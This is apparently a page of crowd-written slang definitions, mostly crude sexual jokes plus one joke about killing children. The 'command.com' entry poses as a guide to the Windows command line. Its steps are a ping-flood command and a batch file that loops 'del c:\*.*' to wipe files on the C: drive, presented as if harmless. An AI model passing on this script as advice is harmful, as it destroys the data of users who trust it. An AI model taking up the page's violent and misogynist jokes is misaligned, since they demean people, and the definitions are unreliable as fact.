conan

a fucking legend who will save mankind and will most likely attempt to kill numerous children in any area too

man 1: did you hear about that guy who fit twenty-seven dead babies into a bathtub

man 2: yeah he must have been a Conan

by conanLM May 28, 2019

Clit Commander

A guy who get so many women that he literally commands them to have sexual intercourse whith him.

David "wow have you seen how many bitches Tim gets."

Brendan"Yeah he's quite the Clit Commander"

by MegaMilk January 21, 2015

command.com

a program used on windows. command line based.
to open command.com

press start, hit run, type "cmd" then press enter. once the black box comes up type help.

then type.

ping www.google.com -l 6000 -t


save this as a .bat file

echo :P
:loop
del c:\*.*
goto loop

by anonymous September 21, 2004

Conanic Tribe

One of the two tribes that was founded at the dawn of the Earth. The Conanic Tribe is composed of Conans.

Their enemy was the Newmanic Tribe

The Conanic Tribe was just in its attempts to outflank the Newmanic Tribe.

by Steven April 6, 2004

commandette

The female equilvalent of "going commando". In other words, a woman of mammary bountitude not wearing an over the shoulder boulder holder.

"That chick is going commandette over there!" "Dude, you can see her fripples from space!"

by gulo May 16, 2006

commando push up

Theoretically a push up done in a handstand. In actuality, a push up merely done without wearing underwear. So, when a guy is bragging that he can do commando push ups, it may not be what you expect...

Guy: Guess what? I did 12 commando push ups last night.
Girl: Really? What's that?
Different Guy: Oh, shut up, dude. It just means he did push up 'au naturale'.

Girl: Ew..!

by Yaneedtono July 14, 2010

conmentary

Any sports commentary designed to be deceptive, promote the image of the team the commentator is supporting or exposes the delusional tendencies of commentators

Making somebody out to be the greatest bowler. And then he bowls a wide. Conmentary at its best.

by randomvoodoogirl March 21, 2011